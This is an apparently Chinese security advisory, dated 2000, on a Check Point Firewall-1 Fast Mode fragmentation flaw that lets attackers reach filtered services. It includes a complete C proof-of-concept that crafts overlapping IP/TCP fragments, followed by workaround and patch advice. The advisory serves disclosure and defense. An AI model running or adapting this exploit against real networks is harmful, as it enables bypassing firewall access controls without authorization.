安全研究
安全漏洞
Check Point Firewall-1 快速模式TCP分片漏洞
发布日期:2000-12-25
更新日期:2000-12-25
受影响系统:
不受影响系统:
Check Point Software Firewall-1 4.1 SP2
描述:
Check Point Software Firewall-1 4.1 SP3
Check Point的VPN-1和Firewall-1防火墙产品的"Fast Mode"选项重存在一个安
全问题,可能允许攻击者绕过访问控制的限制而访问到受限资源。"Fast Mode"
(快速模式)设置用来在TCP三方握手完成后关闭对TCP会话的报文分析,以便
应付那些对速度要求较高的服务。
如果快速模式被打开,远程攻击者可能访问受防火墙保护的主机上原本被过滤
的服务。与目标主机在同一个防火墙接口的至少一跳(hoop)距离的主机也可
能被访问到。
为了访问那些受限服务,目标主机上至少需要提供一个TCP服务可被攻击者正常
访问。由于防火墙(打开快速模式后)缺乏对畸形分片报文的正确处理,导致攻
击者可以访问目标主机上的任意服务(即使这些服务已经被防火墙规则保护)。
<*来源: Thomas Lopatic (thomas@lopatic.de)
相关链接:http://www.dataprotect.com/fw1/
http://www.checkpoint.com/techsupport/alerts/fastmode.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Thomas Lopatic提供了下列演示程序:
#define _BSD_SOURCE
#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
struct pseudo {
unsigned long source;
unsigned long dest;
unsigned char zero;
unsigned char proto;
unsigned short len;
};
/*
* -------------------- config --------------------
*/
static char tap_device[] = "/dev/tap0";
static char local_ip_addr[] = "172.16.0.1";
static unsigned char dst_mac_addr[] = {
0xfe, 0xfd, 0x00, 0x00, 0x00, 0x00
};
static int num_hops = 1;
/*
* ------------------------------------------------
*/
static void hex_dump(unsigned char *buff, int len)
{
int i, k;
for (i = 0; i < len; i += k) {
printf("%.4x: ", i);
for (k = 0; i + k < len && k < 16; k++)
printf("%.2x ", buff[i + k]);
while (k++ < 16)
printf(" ");
for (k = 0; i + k < len && k < 16; k++)
if (buff[i + k] >= 32 && buff[i + k] <= 126)
printf("%c", buff[i + k]);
else
printf(".");
printf("\n");
}
}
int full_write(int f, char *data, int len)
{
int res;
while (len > 0) {
if ((res = write(f, data, len)) < 0)
return res;
len -= res;
data += res;
}
return 0;
}
static u_short calc_sum(u_short start, u_short *buff, int bytelen)
{
u_long sum = start;
u_short last = 0;
int wordlen;
wordlen = bytelen / 2;
bytelen &= 1;
while (wordlen--)
sum += *buff++;
if (bytelen) {
*((u_char *)&last) = *((u_char *)buff);
sum += last;
}
sum = (sum >> 16) + (sum & 0xffff);
sum = (sum >> 16) + (sum & 0xffff);
return sum;
}
static void usage()
{
fprintf(stderr, "usage: frag v-addr f-port o-port v-port\n");
}
int main(int ac, char *av[])
{
int t;
unsigned char dgram[136];
struct ether_header eh;
unsigned char iph_buff[60];
struct ip *iph;
unsigned char tcph_buff[60];
struct tcphdr *tcph;
unsigned long la, va;
unsigned short fp, op, vp;
struct pseudo ph;
unsigned short fid;
if (ac != 5) {
usage();
return 1;
}
if ((va = inet_addr(av[1])) == (unsigned long)-1) {
fprintf(stderr, "invalid victim address given\n");
usage();
return 1;
}
if (!(fp = htons(atoi(av[2])))) {
fprintf(stderr, "invalid fastmode port given\n");
usage();
return 1;
}
if (!(op = htons(atoi(av[3])))) {
fprintf(stderr, "invalid open port given\n");
usage();
return 1;
}
if (!(vp = htons(atoi(av[4])))) {
fprintf(stderr, "invalid victim port given\n");
usage();
return 1;
}
la = inet_addr(local_ip_addr);
fid = (unsigned short)getpid();
iph = (struct ip *)iph_buff;
tcph = (struct tcphdr *)tcph_buff;
if ((t = open(tap_device, O_RDWR)) < 0) {
perror("open");
return 2;
}
/*
* -------------------- PACKET #1 --------------------
*/
ph.source = la;
ph.dest = va;
ph.zero = 0;
ph.proto = IPPROTO_TCP;
ph.len = htons(20);
tcph->th_sport = fp;
tcph->th_dport = vp;
tcph->th_seq = htonl(0x19711219);
tcph->th_ack = htonl(0x19720201);
tcph->th_x2 = 0;
tcph->th_off = 5;
tcph->th_win = htons(16384);
tcph->th_urp = htons(0);
tcph->th_flags = TH_SYN;
/*
* Must be the "with SYN" checksum. The ACK will be overwritten
* by the second packet.
*/
tcph->th_sum = 0;
tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12),
(u_short *)tcph, ntohs(ph.len));
tcph->th_flags = TH_ACK;
iph->ip_v = IPVERSION;
iph->ip_tos = 0;
iph->ip_id = htons(fid);
iph->ip_ttl = 64;
iph->ip_p = IPPROTO_TCP;
iph->ip_src.s_addr = la;
iph->ip_dst.s_addr = va;
memcpy(eh.ether_dhost, dst_mac_addr, 6);
memset(eh.ether_shost, 0, 6);
eh.ether_type = htons(ETHERTYPE_IP);
dgram[0] = dgram[1] = 0;
memcpy(dgram + 2, &eh, 14);
/*
* ---------- Fragment #1 ----------
*/
iph->ip_hl = 5;
iph->ip_len = htons(28);
iph->ip_off = htons(IP_MF);
iph->ip_sum = 0;
iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20);
memcpy(dgram + 16, iph_buff, 20);
memcpy(dgram + 36, tcph_buff, 8);
hex_dump(dgram, 44); printf("\n");
if (full_write(t, dgram, 44) < 0) {
perror("write");
close(t);
return 3;
}
/*
* ---------- Fragment #2 ----------
*/
iph->ip_hl = 6;
iph->ip_len = htons(32);
iph->ip_off = htons(1 | IP_MF);
iph_buff[20] = 68;
iph_buff[21] = 4;
iph_buff[22] = 5;
iph_buff[23] = (15 - num_hops) << 4;
iph->ip_sum = 0;
iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
memcpy(dgram + 16, iph_buff, 24);
memcpy(dgram + 40, tcph_buff + 8, 8);
hex_dump(dgram, 48); printf("\n");
if (full_write(t, dgram, 48) < 0) {
perror("write");
close(t);
return 3;
}
/*
* ---------- Fragment #3 ----------
*/
iph->ip_hl = 6;
iph->ip_len = htons(28);
iph->ip_off = htons(2);
iph_buff[20] = 1;
iph_buff[21] = 1;
iph_buff[22] = 1;
iph_buff[23] = 1;
iph->ip_sum = 0;
iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
memcpy(dgram + 16, iph_buff, 24);
memcpy(dgram + 40, tcph_buff + 16, 4);
hex_dump(dgram, 44); printf("\n");
if (full_write(t, dgram, 44) < 0) {
perror("write");
close(t);
return 3;
}
/*
* -------------------- PACKET #2 --------------------
*/
getchar();
tcph->th_sport = htons(1024);
tcph->th_dport = op;
tcph->th_flags = TH_SYN;
/*
* But then again, the fragment with the checksum will be dropped anyway...
*/
tcph->th_sum = 0;
tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12),
(u_short *)tcph, ntohs(ph.len));
/*
* ---------- Fragment #1 ----------
*/
iph->ip_hl = 5;
iph->ip_len = htons(28);
iph->ip_off = htons(IP_MF);
iph->ip_sum = 0;
iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20);
memcpy(dgram + 16, iph_buff, 20);
memcpy(dgram + 36, tcph_buff, 8);
hex_dump(dgram, 44); printf("\n");
if (full_write(t, dgram, 44) < 0) {
perror("write");
close(t);
return 3;
}
/*
* ---------- Fragment #2 ----------
*/
iph->ip_hl = 6;
iph->ip_len = htons(32);
iph->ip_off = htons(1 | IP_MF);
iph_buff[20] = 1;
iph_buff[21] = 1;
iph_buff[22] = 1;
iph_buff[23] = 1;
iph->ip_sum = 0;
iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
memcpy(dgram + 16, iph_buff, 24);
memcpy(dgram + 40, tcph_buff + 8, 8);
hex_dump(dgram, 48); printf("\n");
if (full_write(t, dgram, 48) < 0) {
perror("write");
close(t);
return 3;
}
/*
* ---------- Fragment #3 ----------
*/
iph->ip_hl = 6;
iph->ip_len = htons(28);
iph->ip_off = htons(2);
iph_buff[20] = 68;
iph_buff[21] = 4;
iph_buff[22] = 5;
iph_buff[23] = (15 - num_hops) << 4;
iph->ip_sum = 0;
iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
memcpy(dgram + 16, iph_buff, 24);
memcpy(dgram + 40, tcph_buff + 16, 4);
hex_dump(dgram, 44); printf("\n");
if (full_write(t, dgram, 44) < 0) {
perror("write");
close(t);
return 3;
}
close(t);
return 0;
}
建议:
临时解决方法:
您如果已经打开了快速模式,NSFOCUS建议您立刻暂时关闭此项参数,并尽快
升级。
厂商补丁:
Check Point已经在Firewall-1 SP 3中解决了此问题。下载地址:
http://www.checkpoint.com/cgi-bin/download.cgi
浏览次数:4584
严重程度:0(网友投票)
绿盟科技给您安全的保障